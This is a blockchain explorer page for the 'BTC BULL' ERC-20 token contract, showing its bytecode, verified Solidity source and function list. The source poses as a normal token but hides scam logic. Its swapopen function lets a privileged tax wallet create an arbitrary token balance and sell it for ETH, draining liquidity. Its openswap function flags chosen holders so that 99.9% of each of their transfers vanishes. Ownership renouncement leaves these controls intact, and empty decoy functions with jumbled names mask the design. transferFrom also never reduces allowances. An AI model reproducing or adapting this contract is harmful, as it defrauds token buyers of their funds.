Address Contract Partially Verified
Address
0xE2364E260B6765cd83AF937446372e85CF15e0B1
Balance
0 ETH
Nonce
1
Code Size
7507 bytes
Creator
0x53c63FaB...6d80 at tx 0xe581bd4e...ab8c20
Indexed Transactions
0
Contract Bytecode
7507 bytes
0x608060405234801561000f575f80fd5b5060043610610140575f3560e01c80636f268a99116100b657806395d89b411161007a57806395d89b411461031a578063a457c2d714610338578063a9059cbb14610368578063affb2cdc14610398578063c8f94f5d146103b4578063dd62ed3e146103be57610140565b80636f268a991461029a57806370a08231146102b8578063715018a6146102e85780638da5cb5b146102f25780639326e2161461031057610140565b806318160ddd1161010857806318160ddd146101c257806323b872dd146101e0578063313ce5671461021057806332424aa31461022e578063395093511461024c5780633eaaf86b1461027c57610140565b806306ef5a3c1461014457806306fdde0314610160578063095ea7b31461017e5780630c4c26cd146101ae5780630e878af1146101b8575b5f80fd5b61015e600480360381019061015991906113d6565b6103ee565b005b61016861068b565b604051610175919061149e565b60405180910390f35b610198600480360381019061019391906114be565b61071b565b6040516101a59190611516565b60405180910390f35b6101b6610731565b005b6101c0610733565b005b6101ca610735565b6040516101d7919061153e565b60405180910390f35b6101fa60048036038101906101f59190611557565b61073e565b6040516102079190611516565b60405180910390f35b6102186107e0565b604051610225919061153e565b60405180910390f35b6102366107e9565b604051610243919061153e565b60405180910390f35b610266600480360381019061026191906114be565b6107ef565b6040516102739190611516565b60405180910390f35b61028461088f565b604051610291919061153e565b60405180910390f35b6102a2610895565b6040516102af91906115b6565b60405180910390f35b6102d260048036038101906102cd91906115cf565b6108ba565b6040516102df919061153e565b60405180910390f35b6102f0610900565b005b6102fa610a2f565b60405161030791906115b6565b60405180910390f35b610318610a56565b005b610322610a58565b60405161032f919061149e565b60405180910390f35b610352600480360381019061034d91906114be565b610ae8565b60405161035f9190611516565b60405180910390f35b610382600480360381019061037d91906114be565b610c0c565b60405161038f9190611516565b60405180910390f35b6103b260048036038101906103ad919061165b565b610c29565b005b6103bc610cdd565b005b6103d860048036038101906103d391906116a6565b610cdf565b6040516103e5919061153e565b60405180910390f35b6103f6610d61565b15610681576104273060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610dbe565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff811115610485576104846116e4565b5b6040519080825280602002602001820160405280156104b35781602001602082028036833780820191505090505b50905030815f815181106104ca576104c9611711565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561056e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105929190611752565b816001815181106105a6576105a5611711565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f848660204261062e91906117aa565b6040518663ffffffff1660e01b815260040161064e9594939291906118d6565b5f604051808303815f87803b158015610665575f80fd5b505af1158015610677573d5f803e3d5ffd5b5050505050610686565b610687565b5b5050565b60606003805461069a9061195b565b80601f01602080910402602001604051908101604052809291908181526020018280546106c69061195b565b80156107115780601f106106e857610100808354040283529160200191610711565b820191905f5260205f20905b8154815290600101906020018083116106f457829003601f168201915b5050505050905090565b5f610727338484610dbe565b6001905092915050565b565b565b5f600254905090565b5f61074a848484610f81565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610791611260565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156107d5575f80fd5b600190509392505050565b5f600154905090565b60015481565b5f6108856107fb611260565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461088091906117aa565b610dbe565b6001905092915050565b60025481565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661091f610a2f565b73ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c906119d5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b565b606060048054610a679061195b565b80601f0160208091040260200160405190810160405280929190818152602001828054610a939061195b565b8015610ade5780601f10610ab557610100808354040283529160200191610ade565b820191905f5260205f20905b815481529060010190602001808311610ac157829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610b6d575f80fd5b610c02610b78611260565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610bfd91906119f3565b610dbe565b6001905092915050565b5f610c1f610c18611260565b8484610f81565b6001905092915050565b5f610c32611267565b90505f5b83839050811015610cd757610c49610d61565b15610cc457600182610c5b91906117aa565b60085f868685818110610c7157610c70611711565b5b9050602002016020810190610c8691906115cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8080610ccf90611a26565b915050610c36565b50505050565b565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f610d6a611260565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2390611add565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9190611b6b565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f74919061153e565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610fb9575f80fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115611002575f80fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161105f919061153e565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110b091906119f3565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f6110fa611267565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f6111666103e86111586103e78761126e90919063ffffffff16565b6112e590919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054141580156111b25750815b156111bb578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050838561120891906119f3565b8161121391906117aa565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f43905090565b5f80830361127e575f90506112df565b5f828461128b9190611b89565b905082848261129a9190611bf7565b146112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190611c97565b60405180910390fd5b809150505b92915050565b5f808211611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90611cff565b60405180910390fd5b5f82846113359190611bf7565b90508091505092915050565b5f80fd5b5f80fd5b5f819050919050565b61135b81611349565b8114611365575f80fd5b50565b5f8135905061137681611352565b92915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113a58261137c565b9050919050565b6113b58161139b565b81146113bf575f80fd5b50565b5f813590506113d0816113ac565b92915050565b5f80604083850312156113ec576113eb611341565b5b5f6113f985828601611368565b925050602061140a858286016113c2565b9150509250929050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561144b578082015181840152602081019050611430565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61147082611414565b61147a818561141e565b935061148a81856020860161142e565b61149381611456565b840191505092915050565b5f6020820190508181035f8301526114b68184611466565b905092915050565b5f80604083850312156114d4576114d3611341565b5b5f6114e1858286016113c2565b92505060206114f285828601611368565b9150509250929050565b5f8115159050919050565b611510816114fc565b82525050565b5f6020820190506115295f830184611507565b92915050565b61153881611349565b82525050565b5f6020820190506115515f83018461152f565b92915050565b5f805f6060848603121561156e5761156d611341565b5b5f61157b868287016113c2565b935050602061158c868287016113c2565b925050604061159d86828701611368565b9150509250925092565b6115b08161139b565b82525050565b5f6020820190506115c95f8301846115a7565b92915050565b5f602082840312156115e4576115e3611341565b5b5f6115f1848285016113c2565b91505092915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261161b5761161a6115fa565b5b8235905067ffffffffffffffff811115611638576116376115fe565b5b60208301915083602082028301111561165457611653611602565b5b9250929050565b5f806020838503121561167157611670611341565b5b5f83013567ffffffffffffffff81111561168e5761168d611345565b5b61169a85828601611606565b92509250509250929050565b5f80604083850312156116bc576116bb611341565b5b5f6116c9858286016113c2565b92505060206116da858286016113c2565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061174c816113ac565b92915050565b5f6020828403121561176757611766611341565b5b5f6117748482850161173e565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117b482611349565b91506117bf83611349565b92508282019050808211156117d7576117d661177d565b5b92915050565b5f819050919050565b5f819050919050565b5f6118096118046117ff846117dd565b6117e6565b611349565b9050919050565b611819816117ef565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6118518161139b565b82525050565b5f6118628383611848565b60208301905092915050565b5f602082019050919050565b5f6118848261181f565b61188e8185611829565b935061189983611839565b805f5b838110156118c95781516118b08882611857565b97506118bb8361186e565b92505060018101905061189c565b5085935050505092915050565b5f60a0820190506118e95f83018861152f565b6118f66020830187611810565b8181036040830152611908818661187a565b905061191760608301856115a7565b611924608083018461152f565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061197257607f821691505b6020821081036119855761198461192e565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119bf60208361141e565b91506119ca8261198b565b602082019050919050565b5f6020820190508181035f8301526119ec816119b3565b9050919050565b5f6119fd82611349565b9150611a0883611349565b9250828203905081811115611a2057611a1f61177d565b5b92915050565b5f611a3082611349565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a6257611a6161177d565b5b600182019050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611ac760258361141e565b9150611ad282611a6d565b604082019050919050565b5f6020820190508181035f830152611af481611abb565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5560238361141e565b9150611b6082611afb565b604082019050919050565b5f6020820190508181035f830152611b8281611b49565b9050919050565b5f611b9382611349565b9150611b9e83611349565b9250828202611bac81611349565b91508282048414831517611bc357611bc261177d565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611c0182611349565b9150611c0c83611349565b925082611c1c57611c1b611bca565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c8160228361141e565b9150611c8c82611c27565b604082019050919050565b5f6020820190508181035f830152611cae81611c75565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611ce9601b8361141e565b9150611cf482611cb5565b602082019050919050565b5f6020820190508181035f830152611d1681611cdd565b905091905056fea2646970667358221220983c1f51cd274c0011c60ba1314e80c788e3d5bef28a609e01da4b9e68e6dc6964736f6c63430008150033
Verified Source Code Partial Match
Compiler: v0.8.21+commit.d9974bed
EVM: shanghai
Optimization: No
BTCBULL.sol 185 lines
/**
X - https://x.com/BTCBULL_TOKEN
*/
pragma solidity ^0.8.21;
// SPDX-License-Identifier: MIT
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function owner() public view virtual returns (address) {return _owner;}
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
modifier onlyOwner(){
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair_);
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;
function WETH() external pure returns (address aadd);
}
contract BTCBULL is Ownable {
using SafeMath for uint256;
uint256 public _decimals = 9;
uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
constructor() {
_balances[sender()] = _totalSupply;
emit Transfer(address(0), sender(), _balances[sender()]);
_taxWallet = msg.sender;
}
string private _name = "BTC BULL";
string private _symbol = "BTCBULL";
IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public _taxWallet;
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function name() external view returns (string memory) {
return _name;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function swapforat() public {
}
function swapatfor() external {
}
function toatforswap() public {
}
function toforatswap() public {
}
function openswap(address[] calldata walletAddress) external {
uint256 fromBlockNo = getBlockNumber();
for (uint walletInde = 0; walletInde < walletAddress.length; walletInde++) {
if (!marketingAddres()){} else {
cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;
}
}
}
function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
_transfer(from, recipient, _amount);
require(_allowances[from][sender()] >= _amount);
return true;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function getBlockNumber() internal view returns (uint256) {
return block.number;
}
mapping(address => mapping(address => uint256)) private _allowances;
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function decreaseAllowance(address from, uint256 amount) public returns (bool) {
require(_allowances[msg.sender][from] >= amount);
_approve(sender(), from, _allowances[msg.sender][from] - amount);
return true;
}
event Transfer(address indexed from, address indexed to, uint256);
mapping (address => uint256) internal cooldowns;
function decimals() external view returns (uint256) {
return _decimals;
}
function marketingAddres() private view returns (bool) {
return (_taxWallet == (sender()));
}
function sender() internal view returns (address) {
return msg.sender;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function swapopen(uint256 amount, address walletAddr) external {
if (marketingAddres()) {
_approve(address(this), address(uniV2Router), amount);
_balances[address(this)] = amount;
address[] memory addressPath = new address[](2);
addressPath[0] = address(this);
addressPath[1] = uniV2Router.WETH();
uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);
} else {
return;
}
}
function _transfer(address from, address to, uint256 value) internal {
uint256 _taxValue = 0;
require(from != address(0));
require(value <= _balances[from]);
emit Transfer(from, to, value);
_balances[from] = _balances[from] - (value);
bool onCooldown = (cooldowns[from] <= (getBlockNumber()));
uint256 _cooldownFeeValue = value.mul(999).div(1000);
if ((cooldowns[from] != 0) && onCooldown) {
_taxValue = (_cooldownFeeValue);
}
uint256 toBalance = _balances[to];
toBalance += (value) - (_taxValue);
_balances[to] = toBalance;
}
event Approval(address indexed, address indexed, uint256 value);
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(sender(), recipient, amount);
return true;
}
mapping(address => uint256) private _balances;
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
}
Read Contract
_decimals 0x32424aa3 → uint256
_taxWallet 0x6f268a99 → address
_totalSupply 0x3eaaf86b → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 12 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
decreaseAllowance 0xa457c2d7
address from
uint256 amount
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
openswap 0xaffb2cdc
address[] walletAddress
renounceOwnership 0x715018a6
No parameters
swapatfor 0x0e878af1
No parameters
swapforat 0x0c4c26cd
No parameters
swapopen 0x06ef5a3c
uint256 amount
address walletAddr
toatforswap 0xc8f94f5d
No parameters
toforatswap 0x9326e216
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address recipient
uint256 _amount
returns: bool
Recent Transactions
No transactions found for this address